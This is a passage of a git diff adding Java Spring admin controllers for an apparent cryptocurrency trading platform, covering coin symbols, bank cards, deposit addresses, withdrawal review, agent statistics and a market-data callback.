getInfo(@PathVariable("id") Long id) + { + return success(tSymbolManageService.selectTSymbolManageById(id)); + } + + /** + * 新增币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:add')") + @Log(title = "币种管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSymbolManage tSymbolManage) + { + TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol())); + if (StringUtils.isNotNull(oldManage)){ + return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在"); + } + return toAjax(tSymbolManageService.insertTSymbolManage(tSymbolManage)); + } + + /** + * 新增币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:addBatch')") + @Log(title = "币种管理", businessType = BusinessType.INSERT) + @PostMapping("/addBatch") + public AjaxResult addBatch(String[] symbols) + { + String msg = ""; + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + List oldManage = tSymbolManageService.selectSymbolList(new TSymbolManage()); + if (StringUtils.isEmpty(symbols)){ + return AjaxResult.error("新增币种为空"); + } + if (!CollectionUtils.isEmpty(oldManage)){ + for (int i = 0; i < symbols.length; i++) { + if (oldManage.contains(symbols[i])){ + msg+=symbols[i]+","; + } + } + } + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error("币种已经存在"+msg.substring(0,msg.length()-1)); + } + tSymbolManageService.addBatch(symbols); + return AjaxResult.success(); + } + + /** + * 修改币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:edit')") + @Log(title = "币种管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSymbolManage tSymbolManage) + { + TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol())); + if (StringUtils.isNotNull(oldManage) && !oldManage.getId().equals(tSymbolManage.getId())){ + return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在"); + } + return toAjax(tSymbolManageService.updateTSymbolManage(tSymbolManage)); + } + + /** + * 删除币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:remove')") + @Log(title = "币种管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSymbolManageService.deleteTSymbolManageByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java new file mode 100644 index 0000000..43f9b74 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.service.ITSymbolsService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 支持币种Controller + * + * @author ruoyi + * @date 2023-06-26 + */ +@RestController +@RequestMapping("/bussiness/symbols") +public class TSymbolsController extends BaseController +{ + @Autowired + private ITSymbolsService tSymbolsService; + + /** + * 查询支持币种列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:list')") + @GetMapping("/list") + public TableDataInfo list(TSymbols tSymbols) + { + startPage(); + List list = tSymbolsService.selectTSymbolsList(tSymbols); + return getDataTable(list); + } + + /** + * 导出支持币种列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:export')") + @Log(title = "支持币种", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSymbols tSymbols) + { + List list = tSymbolsService.selectTSymbolsList(tSymbols); + ExcelUtil util = new ExcelUtil(TSymbols.class); + util.exportExcel(response, list, "支持币种数据"); + } + + /** + * 获取支持币种详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:query')") + @GetMapping(value = "/{slug}") + public AjaxResult getInfo(@PathVariable("slug") String slug) + { + return success(tSymbolsService.selectTSymbolsBySlug(slug)); + } + + /** + * 新增支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:add')") + @Log(title = "支持币种", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSymbols tSymbols) + { + return toAjax(tSymbolsService.insertTSymbols(tSymbols)); + } + + /** + * 修改支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:edit')") + @Log(title = "支持币种", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSymbols tSymbols) + { + return toAjax(tSymbolsService.updateTSymbols(tSymbols)); + } + + /** + * 删除支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:remove')") + @Log(title = "支持币种", businessType = BusinessType.DELETE) + @DeleteMapping("/{slugs}") + public AjaxResult remove(@PathVariable String[] slugs) + { + return toAjax(tSymbolsService.deleteTSymbolsBySlugs(slugs)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java new file mode 100644 index 0000000..7859449 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java @@ -0,0 +1,98 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 银行卡Controller + * + * @author ruoyi + * @date 2023-08-21 + */ +@RestController +@RequestMapping("/bussiness/userBank") +public class TUserBankController extends BaseController +{ + @Autowired + private ITUserBankService tUserBankService; + + /** + * 查询银行卡列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:list')") + @GetMapping("/list") + public TableDataInfo list(TUserBank tUserBank) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tUserBank.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tUserBankService.selectTUserBankList(tUserBank); + return getDataTable(list); + } + + /** + * 获取银行卡详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tUserBankService.selectTUserBankById(id)); + } + + /** + * 修改银行卡 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:edit')") + @Log(title = "银行卡", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TUserBank tUserBank) + { + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getCardNumber, tUserBank.getCardNumber())); + if (Objects.nonNull(oldBack) && oldBack.getId()!=tUserBank.getId()){ + return AjaxResult.error(tUserBank.getCardNumber()+"该银行卡已经存在"); + } + return toAjax(tUserBankService.updateTUserBank(tUserBank)); + } + + /** + * 删除银行卡 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:remove')") + @Log(title = "银行卡", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tUserBankService.deleteTUserBankByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java new file mode 100644 index 0000000..741ea0e --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.SettingService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户币种充值地址Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/bussiness/symbol/address") +public class TUserSymbolAddressController extends BaseController { + @Autowired + private ITUserSymbolAddressService tUserSymbolAddressService; + @Autowired + private SettingService settingService; + /** + * 查询用户币种充值地址列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:list')") + @GetMapping("/list") + public TableDataInfo list(TUserSymbolAddress tUserSymbolAddress) { + startPage(); + List list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress); + return getDataTable(list); + } + + /** + * 导出用户币种充值地址列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:export')") + @Log(title = "用户币种充值地址", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TUserSymbolAddress tUserSymbolAddress) { + List list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress); + ExcelUtil util = new ExcelUtil(TUserSymbolAddress.class); + util.exportExcel(response, list, "用户币种充值地址数据"); + } + + /** + * 获取用户币种充值地址详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tUserSymbolAddressService.selectTUserSymbolAddressById(id)); + } + + /** + * 新增用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:add')") + @Log(title = "用户币种充值地址", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TUserSymbolAddress tUserSymbolAddress) { + int re = tUserSymbolAddressService.insertTUserSymbolAddress(tUserSymbolAddress); + if (10001 == re) { + return AjaxResult.error("相同币种,请勿重复添加地址"); + } + return toAjax(re); + } + + /** + * 修改用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:edit')") + @Log(title = "用户币种充值地址", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TUserSymbolAddress tUserSymbolAddress) { + return toAjax(tUserSymbolAddressService.updateTUserSymbolAddress(tUserSymbolAddress)); + } + + /** + * 删除用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:remove')") + @Log(title = "用户币种充值地址", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tUserSymbolAddressService.deleteTUserSymbolAddressByIds(ids)); + } + + @PostMapping("/getAdress") + public AjaxResult getAdress(String coin, String symbol) { + Map map = tUserSymbolAddressService.getAdredssByCoin(coin, symbol, getUserId()); + return AjaxResult.success(map); + } + + @PostMapping("/checkuType") + public AjaxResult checkuType() { + ThirdPaySetting thirdPaySetting= settingService.getThirdPaySetting("301"); + return AjaxResult.success(thirdPaySetting); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java new file mode 100644 index 0000000..97e6733 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java @@ -0,0 +1,237 @@ +package com.ruoyi.web.controller.bussiness; + +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.ThirdPayOutFactory; +import com.ruoyi.bussiness.service.ThirdPayOutService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * 用户提现Controller + * + * @author ruoyi + * @date 2023-07-24 + */ +@RestController +@RequestMapping("/bussiness/withdraw") +public class TWithdrawController extends BaseController { + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + @Resource + private SettingService settingService; + + /** + * 查询用户提现列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')") + @GetMapping("/list") + public TableDataInfo list(TWithdraw tWithdraw) { + startPage(); + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tWithdraw.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tWithdrawService.selectTWithdrawList(tWithdraw); + return getDataTable(list); + } + + /** + * 导出用户提现列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:export')") + @Log(title = "用户提现", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TWithdraw tWithdraw) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tWithdraw.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tWithdrawService.selectTWithdrawList(tWithdraw); + ExcelUtil util = new ExcelUtil(TWithdraw.class); + util.exportExcel(response, list, "用户提现数据"); + } + + /** + * 获取用户提现详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tWithdrawService.selectTWithdrawById(id)); + } + + /** + * 新增用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:add')") + @Log(title = "用户提现", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TWithdraw tWithdraw) { + return toAjax(tWithdrawService.insertTWithdraw(tWithdraw)); + } + + /** + * 修改用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "用户提现", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TWithdraw tWithdraw) { + return toAjax(tWithdrawService.updateTWithdraw(tWithdraw)); + } + + /** + * 删除用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:remove')") + @Log(title = "用户提现", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tWithdrawService.deleteTWithdrawByIds(ids)); + } + + + // 通过只改状态, 只能审核0级用户 + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.锁定", businessType = BusinessType.UPDATE) + @PostMapping("/lockorder") + public AjaxResult lockorder(@RequestBody TWithdraw wi) { + + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 0) { + return AjaxResult.error("订单状态不对,不能锁定"); + } + withdraw.setStatus(3); + withdraw.setUpdateBy(getUsername()); + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + return toAjax(iwithdraw); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.解锁", businessType = BusinessType.UPDATE) + @PostMapping("/unlockorder") + public AjaxResult unlockorder(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能解锁"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + withdraw.setStatus(0); + withdraw.setUpdateBy(getUsername()); + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + return toAjax(iwithdraw); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.锁定判断", businessType = BusinessType.UPDATE) + @PostMapping("/tryCheck") + public AjaxResult trycheck(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能审核"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + return AjaxResult.success(); + } + + @Transactional + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.审核通过", businessType = BusinessType.UPDATE) + @PostMapping("/review") + public AjaxResult passOrder(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能审核"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + if (!withdraw.getToAdress().equals(wi.getToAdress())) { + return AjaxResult.error("只有提现中的订单才能修改地址!"); + } + withdraw.setStatus(1); + withdraw.setUpdateBy(getUsername()); + withdraw.setRemark(wi.getRemark()); + withdraw.setWithDrawRemark(wi.getWithDrawRemark()); + ThirdPaySetting setting = settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if (Objects.nonNull(setting)) { + if ("0".equals(setting.getThirdWithStatu())) { + ThirdPayOutService thirdPayOutService = ThirdPayOutFactory.getThirdPayOut(setting.getCompanyName()); + JSONObject re = thirdPayOutService.payOut(withdraw, setting); + if (Objects.nonNull(re)) { + if (re.getInteger("code") != 200) { + return AjaxResult.error("U盾提现异常"); + } + } + } + } + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService, 1); + return toAjax(iwithdraw); + } + + @Transactional + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.审核失败", businessType = BusinessType.UPDATE) + @PostMapping("/reject") + public AjaxResult rejectOrder(@RequestBody TWithdraw withdraw) { + String msg = tWithdrawService.rejectOrder(withdraw); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService, 1); + return AjaxResult.success(msg); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')") + @PostMapping("/getAllWithdraw") + public AjaxResult getAllWithdraw(Integer type) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + String parentId = ""; + if (user != null) { + String userType = user.getUserType(); + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + } + return AjaxResult.success(tWithdrawService.getAllWithdraw(parentId, type)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java new file mode 100644 index 0000000..54fd860 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java @@ -0,0 +1,34 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.common.core.domain.entity.TimeZone; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * @author:michael + * @createDate: 2022/9/19 16:29 + */ +@RestController +@RequestMapping("/bussiness/timezone") +public class TimeZoneController extends BaseController { + + @GetMapping("/list") + public AjaxResult list() { + + List list = DateUtils.getZoneTimeList(); + for (TimeZone t : list) { + String offSet = t.getOffSet(); + t.setOffSetValue(offSet.replaceAll(":",".").replaceAll("\\+0","") + .replaceAll("\\+","").replaceAll("\\-0","").replaceAll(".00","")); + t.setOffSet("GMT" + t.getOffSet()); + } + return AjaxResult.success(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java new file mode 100644 index 0000000..0050c32 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 数据源Controller + * + * @author ruoyi + * @date 2023-07-10 + */ +@RestController +@RequestMapping("/bussiness/userStatistics") +public class UserStatisticsController extends BaseController +{ + @Autowired + private ITAppWalletRecordService appWalletRecordService; + + /** + * 查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:list')") + @GetMapping("/list") + public TableDataInfo list(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.selectUserDataList(appWalletRecord); + return getDataTable(list); + } + + /** + * 查询代理数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyList')") + @GetMapping("/agencyList") + public TableDataInfo agencyList(TAppWalletRecord appWalletRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + appWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = appWalletRecordService.selectAgencyList(appWalletRecord); + return getDataTable(list); + } + + + /** + * 查询代理下级用户数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:agencyAppUserList')") + @GetMapping("/agencyAppUserList") + public TableDataInfo agencyAppUserList(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.selectAgencyAppUserList(appWalletRecord); + return getDataTable(list); + } + + /** + * 查询数据源列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userStatistics:dailyData')") + @GetMapping("/dailyData") + public TableDataInfo dailyData(TAppWalletRecord appWalletRecord) + { + startPage(); + List list = appWalletRecordService.dailyData(appWalletRecord); + return getDataTable(list); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java new file mode 100644 index 0000000..ef2e2f5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java @@ -0,0 +1,79 @@ +package com.ruoyi.web.controller.callback; + +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.trc.TRC; +import com.ruoyi.common.utils.StringUtils; +import org.apache.http.client.methods.HttpPost; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.List; + +@RestController +@RequestMapping("/marketCallBack") +public class MarketCallBackController { + + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 同步币种信息 + * @param klineSymbol + * @return + */ + @PostMapping("/coin") + public AjaxResult list(@RequestBody KlineSymbol klineSymbol) + { + String msg = vaildateParam(klineSymbol); + if(StringUtils.isNotEmpty(msg)){ + return AjaxResult.error(msg); + } + KlineSymbol klineSymbol1 = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, klineSymbol.getSymbol())); + if(null != klineSymbol1){ + klineSymbol.setId(klineSymbol1.getId()); + } + klineSymbolService.saveOrUpdate(klineSymbol); + return AjaxResult.success(); + } + + private String vaildateParam(KlineSymbol klineSymbol) { + if(null == klineSymbol){ + return "参数不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getSymbol())){ + return "币种不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getMarket())){ + return "交易所不能为空"; + } + if(StringUtils.isBlank(klineSymbol.getSlug())){ + return "币种名称不能为空"; + } + if(null == klineSymbol.getStatus()){ + return "币种是否启用不能为空"; + } + return ""; + } + + public static void main(String[] args) { + HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute(); + if (execute.isOk()){ + final String result = execute.body(); + System.out.println(result); + JSONObject ret = JSONObject.parseObject(result); + com.alibaba.fastjson.JSONArray a =(com.alibaba.fastjson.JSONArray) ret.get("data"); + System.out.println(result); + } + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java new file mode 100644 index 0000000..d2d6e8c --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java @@ -0,0 +1,94 @@ +package com.ruoyi.web.controller.common; + +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.util.concurrent.TimeUnit; +import javax.annotation.Resource; +import javax.imageio.ImageIO; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.FastByteArrayOutputStream; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import com.google.code.kaptcha.Producer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.sign.Base64; +import com.ruoyi.common.utils.uuid.IdUtils; +import 